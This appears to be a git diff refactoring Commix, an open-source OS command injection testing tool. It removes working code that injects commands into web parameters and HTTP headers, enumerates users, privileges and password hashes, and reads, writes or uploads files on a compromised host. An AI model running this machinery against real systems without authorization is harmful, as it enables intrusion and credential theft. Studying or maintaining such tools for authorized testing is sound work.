vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if target_os: - target_os = "".join(str(p) for p in target_os) - if settings.TARGET_OS != settings.OS.WINDOWS: - cmd = settings.DISTRO_INFO - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Perform target page reload (if it is required). - if settings.URL_RELOAD: - response = requests.url_reload(url, timesec) - # Evaluate injection results. - distro_name = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - distro_name = "".join(str(p) for p in distro_name) - if len(distro_name) != 0: - target_os = target_os + settings.SINGLE_WHITESPACE + distro_name - session_handler.store_cmd(url, cmd, target_os, vuln_parameter) - else: - target_os = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_RECOGNISE_HP - else: - cmd = settings.RECOGNISE_HP - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - target_arch = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - target_arch = "".join(str(p) for p in target_arch) - session_handler.store_cmd(url, cmd, target_arch, vuln_parameter) - else: - target_arch = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - else: - target_arch = None - checks.print_os_info(target_os, target_arch, filename, _) - -""" -The current user enumeration -""" -def current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.CURRENT_USER = settings.WIN_CURRENT_USER - cmd = settings.CURRENT_USER - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - cu_account = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - cu_account = "".join(str(p) for p in cu_account) - session_handler.store_cmd(url, cmd, cu_account, vuln_parameter) - else: - cu_account = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user(cu_account, filename, _) - - -""" -Check if the Current user is privileged. -""" -def check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.IS_ADMIN - else: - cmd = settings.IS_ROOT - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_current_user_privs(shell, filename, _) - -""" -System users enumeration -""" -def system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - cmd = settings.SYS_USERS - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_SYS_USERS - if alter_shell: - cmd = checks.escape_single_quoted_cmd(cmd) - else: - cmd = checks.quoted_cmd(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_users = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_users = "".join(str(p) for p in sys_users) - session_handler.store_cmd(url, cmd, sys_users, vuln_parameter) - else: - sys_users = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_users(sys_users, filename, _, separator, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, alter_shell) - -""" -System passwords enumeration -""" -def system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - _ = False - cmd = settings.SYS_PASSES - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - sys_passes = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - sys_passes = "".join(str(p) for p in sys_passes) - session_handler.store_cmd(url, cmd, sys_passes, vuln_parameter) - else: - sys_passes = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_passes(sys_passes, filename, _, alter_shell) - -""" -Single os-shell execution -""" -def single_os_cmd_exec(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd = menu.options.os_cmd - checks.print_enumenation().print_single_os_cmd_msg(cmd) - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - # Command execution results. - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - # Evaluate injection results. - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.print_single_os_cmd(cmd, shell, filename) - -""" -Check the defined options -""" -def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - # Check if PowerShell is enabled. - if not menu.options.ps_version and settings.TARGET_OS == settings.OS.WINDOWS: - checks.ps_check() - - if menu.options.ps_version and settings.PS_ENABLED == None: - if not checks.ps_incompatible_os(): - checks.print_enumenation().ps_version_msg() - powershell_version(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.hostname: - checks.print_enumenation().hostname_msg() - hostname(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.current_user: - checks.print_enumenation().current_user_msg() - current_user(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.is_root or menu.options.is_admin: - checks.print_enumenation().check_privs_msg() - check_current_user_privs(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.sys_info: - checks.print_enumenation().os_info_msg() - system_information(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.users: - checks.print_enumenation().print_users_msg() - system_users(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - - if menu.options.passwords: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--passwords" - checks.unavailable_option(check_option) - else: - checks.print_enumenation().print_passes_msg() - system_passwords(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.ENUMERATION_DONE = True - -""" -Check stored session -""" -def stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - new_line = True - if settings.ENUMERATION_DONE == True : - while True: - message = "Do you want to ignore stored session and enumerate again? [y/N] > " - enumerate_again = common.read_input(message, default="N", check_batch=True) - if enumerate_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - break - elif enumerate_again in settings.CHOICE_NO: - new_line = False - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.enumeration_options(): - do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py b/src/core/injections/semiblind/techniques/file_based/fb_file_access.py deleted file mode 100755 index a95ed0c07f..0000000000 --- a/src/core/injections/semiblind/techniques/file_based/fb_file_access.py +++ /dev/null @@ -1,132 +0,0 @@ -#!/usr/bin/env python -# encoding: UTF-8 - -""" -This file is part of Commix Project (https://commixproject.com). -Copyright (c) 2014-2024 Anastasios Stasinopoulos (@ancst). - -This program is free software: you can redistribute it and/or modify -it under the terms of the GNU General Public License as published by -the Free Software Foundation, either version 3 of the License, or -(at your option) any later version. - -For more see the file 'readme/COPYING' for copying permission. -""" - -import re -import os -import sys -from src.utils import menu -from src.utils import common -from src.utils import settings -from src.utils import session_handler -from src.core.injections.controller import checks -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_handler - -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Write to a file on the target host. -""" -def file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - file_to_write, dest_to_write, content = checks.check_file_to_write() - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = checks.change_dir(dest_to_write) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - fname, tmp_fname, cmd = checks.find_filename(dest_to_write, content) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - cmd = checks.win_decode_b64_enc(fname, tmp_fname) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - cmd = checks.delete_tmp(tmp_fname) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - else: - cmd = checks.write_content(content, dest_to_write) - cmd = cmd + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_write) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - checks.file_write_status(shell, dest_to_write) - -""" -Upload a file on the target host. -""" -def file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd, dest_to_upload = checks.check_file_to_upload() - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - cmd = checks.check_file(dest_to_upload) - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - checks.file_upload_status(shell, dest_to_upload) - -""" -Read a file from the target host. -""" -def file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - cmd, file_to_read = checks.file_content_to_read() - if session_handler.export_stored_cmd(url, cmd, vuln_parameter) == None or menu.options.ignore_session: - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - shell = fb_injector.injection_results(url, OUTPUT_TEXTFILE, timesec) - shell = "".join(str(p) for p in shell) - session_handler.store_cmd(url, cmd, shell, vuln_parameter) - else: - shell = session_handler.export_stored_cmd(url, cmd, vuln_parameter) - checks.file_read_status(shell, file_to_read, filename) - -""" -Check the defined options -""" -def do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if menu.options.file_write: - file_write(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_upload: - if settings.TARGET_OS == settings.OS.WINDOWS: - check_option = "--file-upload" - checks.unavailable_option(check_option) - else: - file_upload(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - - if menu.options.file_read: - file_read(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - settings.FILE_ACCESS_DONE = True - -""" -Check stored session -""" -def stored_session(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.FILE_ACCESS_DONE == True : - while True: - message = "Do you want to ignore stored session and access files again? [y/N] > " - file_access_again = common.read_input(message, default="N", check_batch=True) - if file_access_again in settings.CHOICE_YES: - if not menu.options.ignore_session: - menu.options.ignore_session = True - do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - break - elif file_access_again in settings.CHOICE_NO: - break - elif file_access_again in settings.CHOICE_QUIT: - # Delete previous shell (text) files (output) - fb_handler.delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise SystemExit() - else: - common.invalid_option(enumerate_again) - pass - else: - if menu.file_access_options(): - do_check(separator, payload, TAG, timesec, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - -# eof \ No newline at end of file diff --git a/src/core/injections/semiblind/techniques/file_based/fb_handler.py b/src/core/injections/semiblind/techniques/file_based/fb_handler.py index 911192d8d5..4bb664b6a2 100755 --- a/src/core/injections/semiblind/techniques/file_based/fb_handler.py +++ b/src/core/injections/semiblind/techniques/file_based/fb_handler.py @@ -12,492 +12,24 @@ For more see the file 'readme/COPYING' for copying permission. """ -import re -import os -import sys -import time -import string -import random -from src.utils import menu -from src.utils import logs -from src.utils import settings -from src.utils import session_handler -from src.core.requests import proxy -from src.core.requests import headers -from src.core.requests import requests -from src.core.requests import parameters -from src.utils import common -from src.core.injections.controller import checks -from src.core.injections.controller import shell_options -from src.thirdparty.six.moves import input as _input -from src.thirdparty.six.moves import urllib as _urllib -from src.thirdparty.colorama import Fore, Back, Style, init -from src.core.injections.semiblind.techniques.file_based import fb_injector -from src.core.injections.semiblind.techniques.file_based import fb_payloads -from src.core.injections.semiblind.techniques.file_based import fb_enumeration -from src.core.injections.semiblind.techniques.file_based import fb_file_access -from src.core.injections.semiblind.techniques.tempfile_based import tfb_handler -""" -The "file-based" technique on semiblind OS command injection. -""" - -""" -Check if file-based technique has failed, -then use the "/tmp/" directory for tempfile-based technique. -""" -def tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response): - if no_result == True: - path = tmp_path - checks.setting_writable_dir(path) - call_tfb = tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - return call_tfb - else : - settings.print_data_to_stdout(settings.END_LINE.CR) - +from src.core.injections.controller import handler """ -Delete previous shells outputs. -""" -def delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename): - if settings.FILE_BASED_STATE != None or settings.TEMPFILE_BASED_STATE != None: - if settings.VERBOSITY_LEVEL != 0: - debug_msg = "Cleaning up the target operating system (i.e. deleting file '" + OUTPUT_TEXTFILE + "')." - settings.print_data_to_stdout(settings.print_debug_msg(debug_msg)) - if settings.FILE_BASED_STATE != None: - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE - else: - cmd = settings.DEL + settings.WEB_ROOT + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - elif settings.TEMPFILE_BASED_STATE != None: - if settings.TARGET_OS == settings.OS.WINDOWS: - cmd = settings.WIN_DEL + OUTPUT_TEXTFILE - else: - cmd = settings.DEL + OUTPUT_TEXTFILE + settings.SINGLE_WHITESPACE + settings.COMMENT - response = fb_injector.injection(separator, payload, TAG, cmd, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - -""" -Provide custom server's root directory +The "file-based" technique on semiblind OS command injection. """ -def custom_web_root(url, timesec, filename, http_request_method, url_time_response): - if not settings.CUSTOM_WEB_ROOT: - if settings.TARGET_OS == settings.OS.WINDOWS : - default_root_dir = settings.WINDOWS_DEFAULT_DOC_ROOTS[0] - else: - default_root_dir = settings.LINUX_DEFAULT_DOC_ROOTS[0].replace(settings.DOC_ROOT_TARGET_MARK,settings.TARGET_URL) - message = "Enter what you want to use for writable directory (e.g. '" - message += default_root_dir + "') > " - settings.WEB_ROOT = common.read_input(message, default=default_root_dir, check_batch=True) - if len(settings.WEB_ROOT) == 0: - settings.WEB_ROOT = default_root_dir - settings.CUSTOM_WEB_ROOT = True - - if not settings.LOAD_SESSION: - path = settings.WEB_ROOT - checks.setting_writable_dir(path) - menu.options.web_root = settings.WEB_ROOT.strip() - -""" -Return TEMP path for win / *nix targets. -""" -def check_tmp_path(url, timesec, filename, http_request_method, url_time_response): - def check_trailing_slashes(): - if settings.TARGET_OS == settings.OS.WINDOWS and not menu.options.web_root.endswith("\\"): - menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "\\" - elif not menu.options.web_root.endswith("/"): - menu.options.web_root = settings.WEB_ROOT = menu.options.web_root + "/" - - # Set temp path - if settings.TARGET_OS == settings.OS.WINDOWS: - if "microsoft-iis" in settings.SERVER_BANNER.lower(): - settings.TMP_PATH = r"C:\\Windows\TEMP\\" - else: - settings.TMP_PATH = "%temp%\\" - else: - settings.TMP_PATH = "/tmp/" - - if menu.options.tmp_path: - tmp_path = menu.options.tmp_path - else: - tmp_path = settings.TMP_PATH - - if not settings.LOAD_SESSION and settings.DEFAULT_WEB_ROOT != settings.WEB_ROOT: - settings.WEB_ROOT = settings.DEFAULT_WEB_ROOT - - if menu.options.file_dest and '/tmp/' in menu.options.file_dest: - call_tmp_based = True - - if menu.options.web_root: - settings.WEB_ROOT = menu.options.web_root - else: - # Provide custom server's root directory. - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - - if settings.TARGET_OS == settings.OS.WINDOWS: - settings.WEB_ROOT = settings.WEB_ROOT.replace("/","\\") - - check_trailing_slashes() - - return tmp_path - - -def finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): - if exit_loops == False: - if settings.VERBOSITY_LEVEL == 0: - percent = checks.print_percentage(float_percent, no_result, shell) - checks.injection_process(injection_type, technique, percent) - return True - else: - return True - else: - return False - """ The "file-based" injection technique handler """ def fb_injection_handler(url, timesec, filename, http_request_method, url_time_response, injection_type, technique): - shell = False - counter = 1 - vp_flag = True - exit_loops = False - no_result = True - is_encoded = False - stop_injection = False - call_tmp_based = False - next_attack_vector = False - export_injection_info = False - - if not settings.LOAD_SESSION: - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - TAG = ''.join(random.choice(string.ascii_uppercase) for i in range(6)) - - i = 0 - # Calculate all possible combinations - total = len(settings.WHITESPACES) * len(settings.PREFIXES) * len(settings.SEPARATORS) * len(settings.SUFFIXES) - # Check if defined alter shell - alter_shell = menu.options.alter_shell - for whitespace in settings.WHITESPACES: - for prefix in settings.PREFIXES: - for suffix in settings.SUFFIXES: - for separator in settings.SEPARATORS: - - # Check injection state - settings.DETECTION_PHASE = True - settings.EXPLOITATION_PHASE = False - # If a previous session is available. - if settings.LOAD_SESSION: - try: - settings.FILE_BASED_STATE = True - url, technique, injection_type, separator, shell, vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response, timesec, how_long, output_length, is_vulnerable = session_handler.injection_point_exportation(url, http_request_method) - checks.check_for_stored_tamper(payload) - OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT - if re.findall(settings.DIRECTORY_REGEX,payload): - filepath = re.findall(settings.DIRECTORY_REGEX,payload)[0] - settings.WEB_ROOT = os.path.dirname(filepath) - settings.CUSTOM_WEB_ROOT = True - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - session_handler.notification(url, technique, injection_type) - if technique == settings.INJECTION_TECHNIQUE.TEMP_FILE_BASED: - tfb_handler.exploitation(url, timesec, filename, tmp_path, http_request_method, url_time_response) - except TypeError: - checks.error_loading_session_file() - - if settings.RETEST == True: - settings.RETEST = False - from src.core.injections.results_based.techniques.classic import cb_handler - cb_handler.exploitation(url, timesec, filename, http_request_method, injection_type=settings.INJECTION_TYPE.RESULTS_BASED_CI, technique=settings.INJECTION_TECHNIQUE.CLASSIC) - checks.testing_technique_title(injection_type, technique) - - if not settings.LOAD_SESSION: - i = i + 1 - # The output file for file-based injection technique. - OUTPUT_TEXTFILE = TAG + settings.OUTPUT_FILE_EXT - # Check for bad combination of prefix and separator - combination = prefix + separator - if combination in settings.JUNK_COMBINATION: - prefix = "" - - try: - # File-based decision payload (check if host is vulnerable). - if alter_shell : - payload = fb_payloads.decision_alter_shell(separator, TAG, OUTPUT_TEXTFILE) - else: - payload = fb_payloads.decision(separator, TAG, OUTPUT_TEXTFILE) - - # Check if defined "--prefix" option. - # Fix prefixes / suffixes - payload = parameters.prefixes(payload, prefix) - payload = parameters.suffixes(payload, suffix) - - # Whitespace fixation - payload = payload.replace(settings.SINGLE_WHITESPACE, whitespace) - - # Perform payload modification - payload = checks.perform_payload_modification(payload) - - # Check if defined "--verbose" option. - if settings.VERBOSITY_LEVEL != 0: - payload_msg = payload.replace("\n", "\\n") - settings.print_data_to_stdout(settings.print_payload(payload_msg)) - - # Cookie Injection - if settings.COOKIE_INJECTION == True: - # Check if target host is vulnerable to cookie header injection. - vuln_parameter = parameters.specify_cookie_parameter(menu.options.cookie) - response = fb_injector.cookie_injection_test(url, vuln_parameter, payload, http_request_method) - - # User-Agent HTTP Header Injection - elif settings.USER_AGENT_INJECTION == True: - # Check if target host is vulnerable to user-agent HTTP header injection. - vuln_parameter = parameters.specify_user_agent_parameter(menu.options.agent) - response = fb_injector.user_agent_injection_test(url, vuln_parameter, payload, http_request_method) - - # Referer HTTP Header Injection - elif settings.REFERER_INJECTION == True: - # Check if target host is vulnerable to Referer HTTP header injection. - vuln_parameter = parameters.specify_referer_parameter(menu.options.referer) - response = fb_injector.referer_injection_test(url, vuln_parameter, payload, http_request_method) - - # Host HTTP Header Injection - elif settings.HOST_INJECTION == True: - # Check if target host is vulnerable to Host HTTP header injection. - vuln_parameter = parameters.specify_host_parameter(menu.options.host) - response = fb_injector.host_injection_test(url, vuln_parameter, payload, http_request_method) - - # Custom HTTP header Injection - elif settings.CUSTOM_HEADER_INJECTION == True: - # Check if target host is vulnerable to custom HTTP header injection. - vuln_parameter = parameters.specify_custom_header_parameter(settings.INJECT_TAG) - response = fb_injector.custom_header_injection_test(url, vuln_parameter, payload, http_request_method) - - else: - # Check if target host is vulnerable. - response, vuln_parameter = fb_injector.injection_test(payload, http_request_method, url) - - # Find the directory. - output = fb_injector.injection_output(url, OUTPUT_TEXTFILE, timesec) - time.sleep(timesec) - - try: - # Check if defined extra headers. - request = _urllib.request.Request(output) - headers.do_check(request) - headers.check_http_traffic(request) - # Check if defined any HTTP Proxy (--proxy option). - if menu.options.proxy or menu.options.ignore_proxy or menu.options.tor: - response = proxy.use_proxy(request) - else: - response = _urllib.request.urlopen(request, timeout=settings.TIMEOUT) - - if type(response) is bool: - html_data = "" - else: - html_data = checks.page_encoding(response, action="decode") - shell = re.findall(r"" + TAG + "", str(html_data)) - - if len(shell) != 0 and shell[0] == TAG and not settings.VERBOSITY_LEVEL != 0: - percent = settings.info_msg - checks.injection_process(injection_type, technique, percent) - - if len(shell) == 0 : - raise _urllib.error.HTTPError(url, 404, 'Error', {}, None) - - except _urllib.error.HTTPError as e: - if str(e.getcode()) == settings.NOT_FOUND_ERROR: - percent, float_percent = checks.percentage_calculation(i, total) - - if call_tmp_based == True: - exit_loops = True - tmp_path = os.path.split(menu.options.file_dest)[0] + "/" - tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - raise - - # Show an error message, after N failed tries. - # Use the "/tmp/" directory for tempfile-based technique. - elif (i == int(menu.options.failed_tries) and no_result == True) or (i == total): - if i == total: - if finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): - continue - else: - raise - tmp_path = check_tmp_path(url, timesec, filename, http_request_method, url_time_response) - settings.print_data_to_stdout(settings.END_LINE.CR) - message = "It seems that you don't have permissions to " - message += "read and/or write files in directory '" + settings.WEB_ROOT + "'." - if not menu.options.web_root: - message += " You are advised to rerun with option '--web-root'." - while True: - message = message + "\nDo you want to use the temporary directory ('" + tmp_path + "')? [Y/n] > " - tmp_upload = common.read_input(message, default="Y", check_batch=True) - if tmp_upload in settings.CHOICE_YES: - exit_loops = True - settings.TEMPFILE_BASED_STATE = True - call_tfb = tfb_controller(no_result, url, timesec, filename, tmp_path, http_request_method, url_time_response) - if call_tfb != False: - return True - else: - if no_result == True: - return False - else: - return True - elif tmp_upload in settings.CHOICE_NO: - break - elif tmp_upload in settings.CHOICE_QUIT: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - raise - else: - common.invalid_option(tmp_upload) - pass - continue - - else: - if finalize(exit_loops, no_result, float_percent, injection_type, technique, shell): - continue - else: - raise - - elif str(e.getcode()) == settings.UNAUTHORIZED_ERROR: - err_msg = "Authorization is required to access this page: '" + settings.DEFINED_WEBROOT + "'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - elif str(e.getcode()) == settings.FORBIDDEN_ERROR: - err_msg = "You don't have access to this page: '" + settings.DEFINED_WEBROOT + "'." - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - raise SystemExit() - - except (KeyboardInterrupt, SystemExit): - # Delete previous shell (text) files (output) - if 'vuln_parameter' in locals(): - # settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - delete_previous_shell(separator, payload, TAG, prefix, suffix, whitespace, http_request_method, url, vuln_parameter, OUTPUT_TEXTFILE, alter_shell, filename) - raise - - except _urllib.error.URLError as e: - warn_msg = "It seems that you don't have permissions to " - warn_msg += "read and/or write files in directory '" + settings.WEB_ROOT + "'." - settings.print_data_to_stdout(settings.END_LINE.CR + settings.print_warning_msg(warn_msg)) - err_msg = str(e).replace(": "," (") + ")." - if settings.VERBOSITY_LEVEL >= 2: - settings.print_data_to_stdout(settings.SINGLE_WHITESPACE) - settings.print_data_to_stdout(settings.print_critical_msg(err_msg)) - # Provide custom server's root directory. - if not menu.options.web_root: - custom_web_root(url, timesec, filename, http_request_method, url_time_response) - continue - except: - raise - - # Yaw, got shellz! - # Do some magic tricks! - if shell: - settings.FILE_BASED_STATE = True - found = True - no_result = False - checks.identified_vulnerable_param(url, technique, injection_type, vuln_parameter, payload, http_request_method, filename, export_injection_info, vp_flag, counter) - # Export session - if not settings.LOAD_SESSION: - session_handler.injection_point_importation(url, technique, injection_type, separator, shell[0], vuln_parameter, prefix, suffix, TAG, alter_shell, payload, http_request_method, url_time_response=0, timesec=0, how_long=0, output_length=0, is_vulnerable=menu.options.level) - else: - whitespace = settings.WHITESPACES[0] - 